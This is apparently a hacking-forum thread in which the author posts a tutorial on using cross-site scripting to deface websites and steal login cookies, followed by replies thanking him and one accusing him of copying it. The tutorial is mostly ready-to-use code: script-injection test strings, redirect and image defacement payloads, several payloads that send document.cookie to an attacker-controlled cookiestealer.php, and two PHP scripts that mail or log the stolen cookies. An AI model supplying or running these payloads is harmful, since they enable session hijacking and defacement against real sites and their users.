[FeAR Being]

Author : ♠ÐΩ®l!Xu$♠™ --[X-TrEme TeAm]--

CROSS SCRIPTING ATTACK - XSS

In this tutorial I will show you how to hack a website using XSS.The ones I used for demonstration I did not hurt, and I take no responsibility if you do use them.


Parts Of The Tutorial:

1)Vulnerability Test
2)Defacing
3)Stealing Login Information

Vulnerability Test:

It's pretty simple to find a XSS vulnerability.

Steps:

1)Find a textbox in the site or something where you can submit text.

2)Type in the following:

Code

<script>alert("XSS");</script>

3)If it is vulnerable it should look like this:

[IMG]http://i34.[censored].com/tar88g.png[/IMG]

Defacing:

There are some ways to deface a site when you find a XSS vulnerability.

Makes A Picture Pop-Up:

Code

"><script>location="www.[censored].com/YOURDEFACEPIC";</script>

Replace The Content Of The Page By An Image:

Code

<img src="yourevilpic.com">

Redirect To A Webpage:

Code

<meta http-equiv="refresh" content="0;url=http://www.youhacx0rpic.com/Haxored.html" />

Stealing Login Information:

The first way to do it is to put the following code on the textbox.If there is an Username field and a Password field just put it on both.

Code

<script>alert(document.cookie);</script>

It should look like this if it is vulnerable and there is any login information:

[IMG]http://i33.[censored].com/2iasjzs.png[/IMG]

Then just get an cookie editor for Firefox or use Opera browser(which has an cookie editing function)

Cookie Stealing:

In this way of cookie stealing, you set files in a server and then you inject XSS into the login(s)/url.
I didint made the code's for this part, thats why I dont explain 2 mutch.

URL/Login:

Code

<script>alert(www.yoursite.com/cookiestealer.php)</script>

OR

Code

<script>document.location='www.yoursite.com/cookiestealer.php?cookie='+escape(document.cookie) </script>

OR

Code

<script>
document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;
</script>

Cookiestealer.php:

Code

<?

mail("[email protected]","cookie monster",$_REQUEST['cookie']);

?>
<html>
<script>document.location='http://tutorialblog.org/free-vector-downloads-part2/'</script>
</html>

OR

Code

<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

In the one up you should have the following files on your server:
-cookiestealer.php(The Script)
-log.txt(The File Where The Logs Will Be Stored)

This is for any page that has got a Text Box and a Submit Button and that accepts HTML tags(Like Those Blog Commentary Posters):

Code

<a href="javascript:void(document.location='http://yoursite.com/cookiestealer.php?cookie='+
document.cookie)">Something</a>

Tutorial made by ♠ÐΩ®l!Xu$♠™.Hope it helps ;)

[ohytheng]

Nice...

😏

Keep it up..

[slice]

THANKS MAN JUST WHAT I WAS SEARCHING FOR!

[Proxy]

Really good!
Keep on going. =)

[FeAR Being]

Np guys ;)

[sQneK]

good turtorial thnX :)

[cylon]

big up 4 this

[blackcat]

thx for the tut dude :)

[FeAR Being]

Sticky please?(:

[muhibur]

brilliant man

[Tr1x]

Darlixus, my good friend! Good work

[Elite-Soft]

yah its brilliant..

[FeAR Being]

Darlixus, my good friend! Good work

Good to see u around trix ;)

[Galisss]

you deserve to die...DOUBLE POSTERS DESERVE TO DIE !!!this tut is copied from zero thunder hacker ! n00b !

[W4rlOCk]

Lol nice tut i read this on hbx keep it up.